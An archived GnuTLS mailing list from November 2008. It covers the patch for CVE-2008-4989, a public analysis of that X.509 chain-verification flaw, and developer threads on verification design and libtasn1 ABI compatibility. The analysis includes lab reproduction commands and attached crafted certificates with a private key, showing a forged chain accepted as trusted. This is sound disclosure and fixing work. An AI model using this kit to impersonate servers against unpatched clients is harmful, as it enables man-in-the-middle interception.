8483af5489daa10086ef8f2db288e632184744c9bc0fc278a2dd7db2  mingw32-gnutls_2.6.1-1_all.deb

Internationalization
====================

GnuTLS messages have been translated into Dutch, French, German,
Malay, Polish, Swedish, and Vietnamese.  We welcome the addition of
more translations.

Support
=======

Improving GnuTLS is costly, but you can help!  We are looking for
organizations that find GnuTLS useful and wish to contribute back.
You can contribute by reporting bugs, improve the software, or donate
money or equipment.

Commercial support contracts for GnuTLS are available, and they help
finance continued maintenance.  Simon Josefsson Datakonsult, a
Stockholm based privately held company, is currently funding GnuTLS
maintenance.  We are always looking for interesting development
projects.  See http://josefsson.org/ for more details.

The GnuTLS service directory is available at:

  http://www.gnu.org/software/gnutls/commercial.html

Security Patch
==============

The following patch can be used if you use releases older than v2.6.0,
or if you don't want to upgrade from v2.6.0 to v2.6.1.  It fixes the
GNUTLS-SA-2008-3 aka CVE-2008-4989 vulnerability.  The patch was
created against v2.6.0.

--- lib/x509/verify.c.orig	2008-11-10 10:58:33.000000000 +0100
+++ lib/x509/verify.c	2008-11-10 10:58:41.000000000 +0100
@@ -374,6 +374,17 @@
   int i = 0, ret;
   unsigned int status = 0, output;
 
+  /* Check if the last certificate in the path is self signed.
+   * In that case ignore it (a certificate is trusted only if it
+   * leads to a trusted party by us, not the server's).
+   */
+  if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1],
+				    certificate_list[clist_size - 1]) > 0
+      && clist_size > 0)
+    {
+      clist_size--;
+    }
+
   /* Verify the last certificate in the certificate path
    * against the trusted CA certificate list.
    *
@@ -412,17 +423,6 @@
     }
 #endif
 
-  /* Check if the last certificate in the path is self signed.
-   * In that case ignore it (a certificate is trusted only if it
-   * leads to a trusted party by us, not the server's).
-   */
-  if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1],
-				    certificate_list[clist_size - 1]) > 0
-      && clist_size > 0)
-    {
-      clist_size--;
-    }
-
   /* Verify the certificate path (chain) 
    */
   for (i = clist_size - 1; i > 0; i--)

Happy Hacking,
Simon
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 419 bytes
Desc: not available
URL: </pipermail/attachments/20081110/27c9688a/attachment.pgp>

From tmraz at redhat.com  Mon Nov 10 14:47:16 2008
From: tmraz at redhat.com (Tomas Mraz)
Date: Mon, 10 Nov 2008 14:47:16 +0100
Subject: The _gnutls_x509_verify_certificate fix
Message-ID: <1226324836.3447.296.camel@vespa.frost.loc>

Hello,

given the recent fix in the _gnutls_x509_verify_certificate I have been
looking at the function. I see there are currently some limitations in
it. For example it now doesn't allow verification of explicitely trusted
self-signed site certificate. Is there some other method how this could
be achieved? If not, then perhaps the test for the self-signed should be
performed only when clist_size > 1. Also the test for the clist_size
should be first test of the if().

The other limitation is that only the last certificate (after removing
eventual self-signed cert at the end of the chain) is checked against
the trusted list. That means you can not put just an intermediate CA
cert into the trusted list to be able to verify the chain.

What do you think of these limitations, should they be removed?
-- 
Tomas Mraz
No matter how far down the wrong road you've gone, turn back.
                                              Turkish proverb





From Martin.vGagern at gmx.net  Mon Nov 10 12:00:10 2008
From: Martin.vGagern at gmx.net (Martin von Gagern)
Date: Mon, 10 Nov 2008 12:00:10 +0100
Subject: Analysis of vulnerability GNUTLS-SA-2008-3 CVE-2008-4989
Message-ID: <4918143A.3050103@gmx.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello GNU TLS developers, and other interested parties,

This is an analysis fo the GNU TLS vulnerability recently published as
GNUTLS-SA-2008-3 and CVE-2008-4989.

I found a bug in GNU TLS which breaks X.509 certificate chain
verification. This allows a man in the middle to assume any name and
trick GNU TLS clients into trusting that name.

This could be used to imitate a server using a specially crafted server
certificate chain together with DNS spoofing or some way of intercepting
packets along their route. It could also be used to imitate clients
authenticating to some service using client certificates, again using
specially crafted certificate chains.


CAUSE OF THE VULNERABILITY

The bug is in function _gnutls_x509_verify_certificate in x509/verify.c.
1. The last element of the certificate list is verified against the list
   of trusted certificates.
2. The last element is removed from the list if it is self signed.
3. The chain is checked to ensure that every certificate is signed by
   the one following it, with the exception of the last element.

By appending an arbitrary self-signed trusted certificate to the list,
the penultimate element is implicitely trusted, without being checked
against the list of trusted certificates.

As a solution to fix the issue, I suggest dropping self signed certs
before validating any certificate against the list of trusted
certificates. The attached patch should apply to older versions of GNU
TLS as well, so distributions can use it to fix their released versions.
An alternative might be to not drop self-signed certificates at all, as
it doesn't seem necessary. This should be discussed by the developers.


STEPS TO REPRODUCE IN A MODEL SETUP

To reproduce, add "server" as an alias for localhost to your /etc/hosts.
Run the following command, using the files attached:

$ gnutls-serv --http -p 4433 -a \
              --x509keyfile server.key --x509certfile chain.pem

Then connect to this server using the GNU TLS client:

$ gnutls-cli gnutls-cli --x509cafile thawte.pem -p 4433 server

 - Certificate[0] info:
 # The hostname in the certificate matches 'server'.
 # valid since: Mon Nov  3 13:05:04 CET 2008
 # expires at: Wed Dec  3 13:05:04 CET 2008
 # fingerprint: 2A:8E:2F:D6:73:A8:74:F7:D7:AE:E9:FC:C5:31:3D:00
 # Subject's DN: C=DE,O=GNU TLS Attack,CN=server
 # Issuer's DN: C=DE,O=GNU TLS Attack,CN=intermediate

 - Certificate[1] info:
 # valid since: Mon Nov  3 13:04:45 CET 2008
 # expires at: Wed Dec  3 13:04:45 CET 2008
 # fingerprint: 3C:45:D6:7E:04:ED:BD:77:F1:AA:F8:17:D4:2E:14:E5
 # Subject's DN: C=DE,O=GNU TLS Attack,CN=intermediate
 # Issuer's DN: C=DE,O=GNU TLS Attack,CN=root

 - Certificate[2] info:
 # valid since: Fri Nov 17 01:00:00 CET 2006
 # expires at: Thu Jul 17 01:59:59 CEST 2036
 # fingerprint: 8C:CA:DC:0B:22:CE:F5:BE:72:AC:41:1A:11:A8:D8:12
 # Subject's DN: C=US,O=thawte\, Inc.,
                 OU=Certification Services Division,
                 OU=(c) 2006 thawte\, Inc. - For authorized use only,
                 CN=thawte Primary Root CA
 # Issuer's DN: C=US,O=thawte\, Inc.,
                OU=Certification Services Division,
                OU=(c) 2006 thawte\, Inc. - For authorized use only,
                CN=thawte Primary Root CA


- - Peer's certificate is trusted
- - Version: TLS1.1
- - Key Exchange: DHE-RSA
- - Cipher: AES-128-CBC
- - MAC: SHA1
- - Compression: NULL
- - Handshake was completed

As you can see, there is no relation at all between Certificate[1] and
Certificate[2]. By attaching the thawte root certificate, which is
commonly trusted, I could get my own server authenticated as "server",
without ever transmitting the bogus root of its chain.

I used the http mode of gnutls-serv above so you can check browsers and
other http-based tools against this server as well, to see if they are
vulnerable.


Greetings,
 Martin von Gagern
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.9 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iEYEARECAAYFAkkYFDkACgkQRhp6o4m9dFvvGwCePvDi+wALLEjthVH1LXgCZqUk
3yIAoIsEar/BIVagS5ZA6r9kFtb5zsow
=sMlK
-----END PGP SIGNATURE-----
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: GNUTLS-SA-2008-3.patch
URL: </pipermail/attachments/20081110/3d2b7a27/attachment.asc>
-------------- next part --------------
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDKdL9g5ErMLOLRCjiomZlNLhy0moWGaKIWaX6vyUIfh8d6FcAr
HoKoqhmX7ckvod50sOYPojQesDpl7gVaQNA6Ntr1VCcuNPefUKWtEwL0Qu9JbPnU
oIYd7mAaqVQgFp6W6yzV/dp63LH4XSdzBMhpZ/EU6vZoE8SvVLdqj5r6jwIDAQAB
AoGBAKX50Gu+vRNmOQznNEwEoImFpELr60ulvDxjgFjcxjjTN9X+vuyatsNPsGu9
pZJHQfiojfODJveBwl6OJBU5zXp1WBrFretdyl5wvTt9Gv31oxCPkcBTgefEpFtk
CWQcMB9AsHEDMayCxP+EexODXVfaSx+a9uRBroiT5q837RgBAkEA+d2yQtJhWgm2
KPNCrVvlb5GVISeLnvB7mCaZtrPvs010ib2xnR/vLCqL1qWUJL2C/90TXCek6yG2
RwgyyOUzYQJBAM9tGXQXbOUKl+k0Q2QsV3m1MYoE1H4krNN/o/nr7bsyW1Mt88xc
ZVJe2wWxyO06MGUqwOF+G8e6QI0T/J+x4+8CQFg2RXXD0iy4WwAQCY0scU63JeAD
lw4wtmGb1w6ibdBuWuM5/heLq6N7Dc1kvW1PHo14HhqdwGJmj3R6V3uHN2ECQFdb
mlmzN/BqeroDgdJhfmHKttdq21dY+NSGMDgkbdXmCmJIuyG5VA7R1ipaysVmOVWS
IPOW2fpO7bq8zSswj08CQC+GqKa1CrzRJGFGIUOROuOfgAfOu8ugSMhpS8lQoY3B
vYM6VtVdQjTE5je34tx6pTbbbA9h18YQVONekImYBvY=
-----END RSA PRIVATE KEY-----
-------------- next part --------------
-----BEGIN CERTIFICATE-----
MIIB6zCCAVQCCQCgwnB/k0WZrDANBgkqhkiG9w0BAQUFADA9MQswCQYDVQQGEwJE
RTEXMBUGA1UEChMOR05VIFRMUyBBdHRhY2sxFTATBgNVBAMTDGludGVybWVkaWF0
ZTAeFw0wODExMDMxMjA1MDRaFw0wODEyMDMxMjA1MDRaMDcxCzAJBgNVBAYTAkRF
MRcwFQYDVQQKEw5HTlUgVExTIEF0dGFjazEPMA0GA1UEAxMGc2VydmVyMIGfMA0G
CSqGSIb3DQEBAQUAA4GNADCBiQKBgQDKdL9g5ErMLOLRCjiomZlNLhy0moWGaKIW
aX6vyUIfh8d6FcArHoKoqhmX7ckvod50sOYPojQesDpl7gVaQNA6Ntr1VCcuNPef
UKWtEwL0Qu9JbPnUoIYd7mAaqVQgFp6W6yzV/dp63LH4XSdzBMhpZ/EU6vZoE8Sv
VLdqj5r6jwIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAH4QRR7sZEbjW00tXYk/3O/Z
96AxJNg0F78W5B68gaJrLJ7DTE2RTglscuEq1+2Jyb4AIziwXpYqxgwcP91QpH97
XfwdXIcyjYvVLHiKmkQj2zJTY7MeyiEQQ2it8VstZG2fYmi2EiMZIEnyJ2JJ7bA7
bF7pG7Cg3oEHUM0H5KUU
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIICADCCAWmgAwIBAgIJAIZ4nkHQAqTFMA0GCSqGSIb3DQEBBQUAMDUxCzAJBgNV
BAYTAkRFMRcwFQYDVQQKEw5HTlUgVExTIEF0dGFjazENMAsGA1UEAxMEcm9vdDAe
Fw0wODExMDMxMjA0NDVaFw0wODEyMDMxMjA0NDVaMD0xCzAJBgNVBAYTAkRFMRcw
FQYDVQQKEw5HTlUgVExTIEF0dGFjazEVMBMGA1UEAxMMaW50ZXJtZWRpYXRlMIGf
MA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDvBpW8sAhIuUmNvcBE6wv/q7MtM1Z9
2I1SDL8eJ8I2nPg6BlCX+OIqNruynj8J7uPEQ04ZLwLxNXoyZa8057YFyrKLOvoj
5IfBtidsLWYv6PO3qqHJXVvwGdS7PKMuUlsjucCRyXVgQ07ODF7piqoVFi9KD99w
AU5+9plGrZNP/wIDAQABoxAwDjAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUA
A4GBAGPg+M+8MsB6zHN2o+jAtyqovrTTwmzVWEgfEH/aHC9+imGZRQ5lFNc2vdny
AgaJ9/izO5S6Ibb5zUowN2WhoUJOVipuQa2m9AviOgheoU7tmANC9ylm/pRkKy/0
n5UVzlKxDhRp/xBb7MWOw3KEQjiAf2Z3wCLcCPUqcJUdJC4v
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEIDCCAwigAwIBAgIQNE7VVyDV7exJ9C/ON9srbTANBgkqhkiG9w0BAQUF
ADCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYG
A1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UE
CxMvKGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl
IG9ubHkxHzAdBgNVBAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwHhcNMDYx
MTE3MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCBqTELMAkGA1UEBhMCVVMxFTAT
BgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBT
ZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDYgdGhhd3RlLCBJ
bmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMTFnRoYXd0
ZSBQcmltYXJ5IFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCsoPD7gFnUnMekz52hWXMJEEUMDSxuaPFsW0hoSVk3/AszGcJ3f8wQ
LZU0HObrTQmnHNK4yZc2AreJ1CRfBsDMRJSUjQJib+ta3RGNKJpchJAQeg29
dGYvajig4tVUROsdB58Hum/u6f1OCyn1PoSgAfGcq/gcfomk6KHYcWUNo1F7
7rzSImANuVud37r8UVsLr5iy6S7pBOhih94ryNdOwUxkHt3Ph1i6Sk/KaAcd
HJ1KxtUvkcx8cXIcxcBn6zL9yZJclNqFwJu/U30rCfSMnZEfl2pSy94JNqR3
2HuHUETVPm4pafs5SSYeCaWAe0At6+gnhcn+Yf1+5nyXHdWdAgMBAAGjQjBA
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBR7
W0XPr87Lev0xkhpqtvNG61dIUDANBgkqhkiG9w0BAQUFAAOCAQEAeRHAS7OR
tvzw6WfUDW5FvlXok9LOAz/t2iWwHVfLHjp2oEzsUHboZHIMpKnxuIvW1oeE
uzLlQRHAd9mzYJ3rG9XRbkREqaYB7FViHXe4XI5ISXycO1cRrK1zN44veFyQ
aEfZYGDm/Ac9IiAXxPcW6cTYcvnIc3zfFi8VqT79aie2oetaupgf1eNNZAqd
E8hhuvU5HIe6uL17In/2/qxAeeWsEG89jxt5dovEN7MhGITlNgDrYyCZuen+
MwS7QcjBAvlEYyCegc5C09Y/LHbTY5xZ3Y+m4Q6gLkH3LpVHz7z9M/P2C2F+
fpErgUfCJzDupxBdN49cOSvkBPB7jVaMaA==
-----END CERTIFICATE-----
-------------- next part --------------
-----BEGIN CERTIFICATE-----
MIIEIDCCAwigAwIBAgIQNE7VVyDV7exJ9C/ON9srbTANBgkqhkiG9w0BAQUF
ADCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYG
A1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UE
CxMvKGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl
IG9ubHkxHzAdBgNVBAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwHhcNMDYx
MTE3MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCBqTELMAkGA1UEBhMCVVMxFTAT
BgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBT
ZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDYgdGhhd3RlLCBJ
bmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMTFnRoYXd0
ZSBQcmltYXJ5IFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCsoPD7gFnUnMekz52hWXMJEEUMDSxuaPFsW0hoSVk3/AszGcJ3f8wQ
LZU0HObrTQmnHNK4yZc2AreJ1CRfBsDMRJSUjQJib+ta3RGNKJpchJAQeg29
dGYvajig4tVUROsdB58Hum/u6f1OCyn1PoSgAfGcq/gcfomk6KHYcWUNo1F7
7rzSImANuVud37r8UVsLr5iy6S7pBOhih94ryNdOwUxkHt3Ph1i6Sk/KaAcd
HJ1KxtUvkcx8cXIcxcBn6zL9yZJclNqFwJu/U30rCfSMnZEfl2pSy94JNqR3
2HuHUETVPm4pafs5SSYeCaWAe0At6+gnhcn+Yf1+5nyXHdWdAgMBAAGjQjBA
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBR7
W0XPr87Lev0xkhpqtvNG61dIUDANBgkqhkiG9w0BAQUFAAOCAQEAeRHAS7OR
tvzw6WfUDW5FvlXok9LOAz/t2iWwHVfLHjp2oEzsUHboZHIMpKnxuIvW1oeE
uzLlQRHAd9mzYJ3rG9XRbkREqaYB7FViHXe4XI5ISXycO1cRrK1zN44veFyQ
aEfZYGDm/Ac9IiAXxPcW6cTYcvnIc3zfFi8VqT79aie2oetaupgf1eNNZAqd
E8hhuvU5HIe6uL17In/2/qxAeeWsEG89jxt5dovEN7MhGITlNgDrYyCZuen+
MwS7QcjBAvlEYyCegc5C09Y/LHbTY5xZ3Y+m4Q6gLkH3LpVHz7z9M/P2C2F+
fpErgUfCJzDupxBdN49cOSvkBPB7jVaMaA==
-----END CERTIFICATE-----

From simon at josefsson.org  Mon Nov 10 18:29:03 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Mon, 10 Nov 2008 18:29:03 +0100
Subject: New function gnutls_x509_crq_get_key_id
In-Reply-To: <f43cca2f0811081512m25e95babj940a8dbcd70551f5@mail.gmail.com>
	("David =?iso-8859-1?Q?Mar=EDn_Carre=F1o=22's?= message of "Sun,
	9 Nov 2008 00:12:35 +0100")
References: <f43cca2f0811081512m25e95babj940a8dbcd70551f5@mail.gmail.com>
Message-ID: <87ej1j4hi8.fsf@mocca.josefsson.org>

"David Mar?n Carre?o" <davefx at gmail.com> writes:

> Hi all.
>
> Here I attach a patch adding a new function for getting the key_id from a
> certificate signing request, so you can test if a given private key
> corresponds to a given CSR.
>
> It's based closely to the gnutls_x509_crt_get_key_id function.
>
> Please, revise it and, if seems ok, add to the repository.

Hi!  Thanks for the patch.  I think this is large enough to require
copyright papers.  Would you please follow the instructions below?

/Simon

Please email the following information to assign at gnu.org, and we
will send you the assignment form for your past and future changes.

Please use your full legal name (in ASCII characters) as the subject
line of the message.
----------------------------------------------------------------------
REQUEST: SEND FORM FOR PAST AND FUTURE CHANGES

[What is the name of the program or package you're contributing to?]


[Did you copy any files or text written by someone else in these changes?
Even if that material is free software, we need to know about it.]


[Do you have an employer who might have a basis to claim to own
your changes?  Do you attend a school which might make such a claim?]


[For the copyright registration, what country are you a citizen of?]


[What year were you born?]


[Please write your email address here.]


[Please write your postal address here.]





[Which files have you changed so far, and which new files have you written
so far?]




From simon at josefsson.org  Mon Nov 10 18:33:05 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Mon, 10 Nov 2008 18:33:05 +0100
Subject: The _gnutls_x509_verify_certificate fix
In-Reply-To: <1226324836.3447.296.camel@vespa.frost.loc> (Tomas Mraz's message
	of "Mon, 10 Nov 2008 14:47:16 +0100")
References: <1226324836.3447.296.camel@vespa.frost.loc>
Message-ID: <87abc74hbi.fsf@mocca.josefsson.org>

Tomas Mraz <tmraz at redhat.com> writes:

> Hello,
>
> given the recent fix in the _gnutls_x509_verify_certificate I have been
> looking at the function. I see there are currently some limitations in
> it. For example it now doesn't allow verification of explicitely trusted
> self-signed site certificate. Is there some other method how this could
> be achieved? If not, then perhaps the test for the self-signed should be
> performed only when clist_size > 1. Also the test for the clist_size
> should be first test of the if().
>
> The other limitation is that only the last certificate (after removing
> eventual self-signed cert at the end of the chain) is checked against
> the trusted list. That means you can not put just an intermediate CA
> cert into the trusted list to be able to verify the chain.
>
> What do you think of these limitations, should they be removed?

Hi.  Thanks for looking at the code.  Yes, I would agree that both
situations should be permitted, and consequently that the limitations
should be removed.

/Simon




From ametzler at downhill.at.eu.org  Mon Nov 10 19:15:04 2008
From: ametzler at downhill.at.eu.org (Andreas Metzler)
Date: Mon, 10 Nov 2008 19:15:04 +0100
Subject: Analysis of vulnerability GNUTLS-SA-2008-3 CVE-2008-4989
In-Reply-To: <4918143A.3050103@gmx.net>
References: <4918143A.3050103@gmx.net>
Message-ID: <20081110181504.GA4615@downhill.g.la>

On 2008-11-10 Martin von Gagern <Martin.vGagern at gmx.net> wrote:
> This is an analysis fo the GNU TLS vulnerability recently published as
> GNUTLS-SA-2008-3 and CVE-2008-4989.

> I found a bug in GNU TLS which breaks X.509 certificate chain
> verification. This allows a man in the middle to assume any name and
> trick GNU TLS clients into trusting that name.
[...]

This seems to apply to every recent gnutls version (at least even
1.4.4 shows the same output. Can you confirm that?

cu and- not trusting myself currently -reas
-- 
`What a good friend you are to him, Dr. Maturin. His other friends are
so grateful to you.'
`I sew his ears on from time to time, sure'




From simon at josefsson.org  Mon Nov 10 19:34:46 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Mon, 10 Nov 2008 19:34:46 +0100
Subject: Analysis of vulnerability GNUTLS-SA-2008-3 CVE-2008-4989
In-Reply-To: <20081110181504.GA4615@downhill.g.la> (Andreas Metzler's message
	of "Mon, 10 Nov 2008 19:15:04 +0100")
References: <4918143A.3050103@gmx.net> <20081110181504.GA4615@downhill.g.la>
Message-ID: <87prl32zw9.fsf@mocca.josefsson.org>

Andreas Metzler <ametzler at downhill.at.eu.org> writes:

> On 2008-11-10 Martin von Gagern <Martin.vGagern at gmx.net> wrote:
>> This is an analysis fo the GNU TLS vulnerability recently published as
>> GNUTLS-SA-2008-3 and CVE-2008-4989.
>
>> I found a bug in GNU TLS which breaks X.509 certificate chain
>> verification. This allows a man in the middle to assume any name and
>> trick GNU TLS clients into trusting that name.
> [...]
>
> This seems to apply to every recent gnutls version (at least even
> 1.4.4 shows the same output. Can you confirm that?

Yes, the buggy code is rather old so it affects many versions.

/Simon




From nmav at gnutls.org  Mon Nov 10 21:04:52 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Mon, 10 Nov 2008 21:04:52 +0100
Subject: The _gnutls_x509_verify_certificate fix
In-Reply-To: <1226324836.3447.296.camel@vespa.frost.loc>
References: <1226324836.3447.296.camel@vespa.frost.loc>
Message-ID: <c331d99a0811101204j28ee07dai6cba8ae83e7e2a74@mail.gmail.com>

On Mon, Nov 10, 2008 at 2:47 PM, Tomas Mraz <tmraz at redhat.com> wrote:
> Hello,
> given the recent fix in the _gnutls_x509_verify_certificate I have been
> looking at the function. I see there are currently some limitations in
> it. For example it now doesn't allow verification of explicitely trusted
> self-signed site certificate. Is there some other method how this could
> be achieved?
You can achieve it by associating an address of a website with the
keyid of the given
certificate. This is more generic of trusting a self-signed
certificate. You can trust any
certificate first presented when accessing a website that way (ssh security).

> The other limitation is that only the last certificate (after removing
> eventual self-signed cert at the end of the chain) is checked against
> the trusted list. That means you can not put just an intermediate CA
> cert into the trusted list to be able to verify the chain.

Indeed this algorithm is primitive. The idea was to allow applications
to override it
with custom-made advanced verification, but under with the current bug
discovered in
a "simple" algorithm I no longer think this is a good idea. Probably a
more advanced
verification subsystem should exist with enough hooks so applications
could get detailed
information about the verification[0].

However something like this is not in my near-future plans. We would
be happy to receive,
review and add patches for this functionality though.

[0]. the whole idea of having a simplified verification algorithm in
gnutls was because I
thought that application would want to present detailed information to
the client (where the
verification failed etc).

regards,
Nikos




From mrsam at courier-mta.com  Tue Nov 11 02:35:55 2008
From: mrsam at courier-mta.com (Sam Varshavchik)
Date: Mon, 10 Nov 2008 20:35:55 -0500
Subject: The _gnutls_x509_verify_certificate fix
References: <1226324836.3447.296.camel@vespa.frost.loc>
Message-ID: <cone.1226367355.150099.10890.500@commodore.email-scan.com>

Tomas Mraz writes:

> self-signed site certificate. Is there some other method how this could
> be achieved? If not, then perhaps the test for the self-signed should be
> performed only when clist_size > 1. Also the test for the clist_size
> should be first test of the if().
> 
> The other limitation is that only the last certificate (after removing
> eventual self-signed cert at the end of the chain) is checked against
> the trusted list. That means you can not put just an intermediate CA
> cert into the trusted list to be able to verify the chain.
> 
> What do you think of these limitations, should they be removed?

Here's how I always thought certificate verifications should work:

1) The first certificate must be one of your trusted certs

2) Each one of the following certificates must be signed by the previous 
one, ending with the peer's certificate

It makes no sense to search the trusted list for any intermediate certs, 
neither does it make sense to treat self-signed certs in any special way. 
All of the root, trusted, certs are self-signed certs, the above logic works 
correctly for them.


-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: not available
URL: </pipermail/attachments/20081110/9779377c/attachment.pgp>

From simon at josefsson.org  Fri Nov  7 10:16:01 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Fri, 07 Nov 2008 10:16:01 +0100
Subject: Bug#503833: Unparseable PKCS cert
In-Reply-To: <491369BC.8040403@gmail.com> (Nikos Mavrogiannopoulos's message
	of "Fri, 07 Nov 2008 00:03:40 +0200")
References: <c331d99a0810311805i7fe0ff20id36a4c153dd26a0e@mail.gmail.com>
	<20081105201724.GF10690@colo.lackof.org>
	<c331d99a0811060148r256344caj48f63e9ae163370d@mail.gmail.com>
	<20081106175321.GB30987@colo.lackof.org> <491345E2.7010401@gmail.com>
	<20081106211520.GF30987@colo.lackof.org> <491369BC.8040403@gmail.com>
Message-ID: <87d4h7yjzi.fsf@mocca.josefsson.org>

Nikos Mavrogiannopoulos <n.mavrogiannopoulos at gmail.com> writes:

> dann frazier wrote:
>
>> Thanks Nikos. Our Debian maintainer has applied your fix and uploaded
>> a package to our experimental repository. However, he does have some
>> concerns about ABI compatibility that may make it harder for us to get
>> it into the upcoming release:
>>   http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=503833
>> Specifically:
>>   http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=503833#23
>> I wonder if you have a take on this?
>
> Indeed it is an issue. Since this structure wasn't intended to be
> exported in the new version of libtasn1 it will not be available (so it
> will allow us to upgrade the library internals without changing the
> API). In 99% of the projects using libtasn1 this will not be an issue
> since this structure is not likely to be used.

I just realized: doesn't Nikos' patch actually do two separate things?

1) Add the BER stuff needed to support the PKCS#12 blob

2) Optimize tree generation by using the small_value field.

It is the 2) that causes the ABI break, but 1) that is needed to solve
to the regression.

Thinking about this, and speaking generally, I don't think optimizations
are important enough to warrant an ABI break without good justification.
Nikos, did you do any benchmarking?  How much is slowed down because of
this?

I'm beginning to feel that we should remove the small_value part of this
patch, to retain ABI compatibility.

/Simon




From simon at josefsson.org  Mon Nov 10 08:55:02 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Mon, 10 Nov 2008 08:55:02 +0100
Subject: Bug#503833: Unparseable PKCS cert
In-Reply-To: <c331d99a0811081038q5a32c51bl66e1a5161d5159ee@mail.gmail.com>
	(Nikos Mavrogiannopoulos's message of "Sat, 8 Nov 2008 19:38:06
	+0100")
References: <c331d99a0810311805i7fe0ff20id36a4c153dd26a0e@mail.gmail.com>
	<20081105201724.GF10690@colo.lackof.org>
	<c331d99a0811060148r256344caj48f63e9ae163370d@mail.gmail.com>
	<20081106175321.GB30987@colo.lackof.org> <491345E2.7010401@gmail.com>
	<20081106211520.GF30987@colo.lackof.org> <491369BC.8040403@gmail.com>
	<87d4h7yjzi.fsf@mocca.josefsson.org>
	<c331d99a0811081038q5a32c51bl66e1a5161d5159ee@mail.gmail.com>
Message-ID: <87r65k817t.fsf@mocca.josefsson.org>

"Nikos Mavrogiannopoulos" <nmav at gnutls.org> writes:

> On Fri, Nov 7, 2008 at 10:16 AM, Simon Josefsson <simon at josefsson.org> wrote:
>
>> I just realized: doesn't Nikos' patch actually do two separate things?
>>
>> 1) Add the BER stuff needed to support the PKCS#12 blob
>>
>> 2) Optimize tree generation by using the small_value field.
>>
>> It is the 2) that causes the ABI break, but 1) that is needed to solve
>> to the regression.
>>
>> Thinking about this, and speaking generally, I don't think optimizations
>> are important enough to warrant an ABI break without good justification.
>> Nikos, did you do any benchmarking?  How much is slowed down because of
>> this?
>
> I don't think this is a question that we would like to set to
> ourselves. It leads to another questions on which optimization would
> be good enough or which addition is good enough to justify the break.
>
> The real question would be whether we want the internal structures
> published on the public API. I don't think we want this. It leads to
> us being handicap (like we are now) to apply any optimization/addition
> to the internal works of the library. Thus for me it is a good thing
> to move them away as soon as we can to allow further development on
> libtasn1.
>
> The other question is whether someone would like to split this patch
> and apply the fix for the another compatible stable release to be
> made, or just for debian version to apply it. I am not interested in
> doing it, but I wouldn't object either. It is a good thing to do.
>
>> I'm beginning to feel that we should remove the small_value part of this
>> patch, to retain ABI compatibility.
>
> No I am strongly against such a move. We would have to answer again
> this question on the next serious change. By insisting on being
> backwards compatible (without a serious reason) we will prevent any
> further development on this library.

I agree, my proposal was to just remove the patch temporarily, but I
wasn't clear on that.  Thus I propose this plan which as far as I can
tell seems OK with everyone:

Release v1.6 now to fix the PKCS#12/BER problem but does not contain the
optimized code, and is thus fully API and ABI backwards compatible.

Apply the small_values patch on master, and prepare a v2.0 release.
I'll wait 2-3 weeks to see if there are major problems with v1.6 (quite
a lot of things have changed compared to v1.5) and then release it.

/Simon




From tmraz at redhat.com  Tue Nov 11 11:10:48 2008
From: tmraz at redhat.com (Tomas Mraz)
Date: Tue, 11 Nov 2008 11:10:48 +0100
Subject: The _gnutls_x509_verify_certificate fix
In-Reply-To: <c331d99a0811101204j28ee07dai6cba8ae83e7e2a74@mail.gmail.com>
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<c331d99a0811101204j28ee07dai6cba8ae83e7e2a74@mail.gmail.com>
Message-ID: <1226398248.3447.353.camel@vespa.frost.loc>


On Mon, 2008-11-10 at 21:04 +0100, Nikos Mavrogiannopoulos wrote:
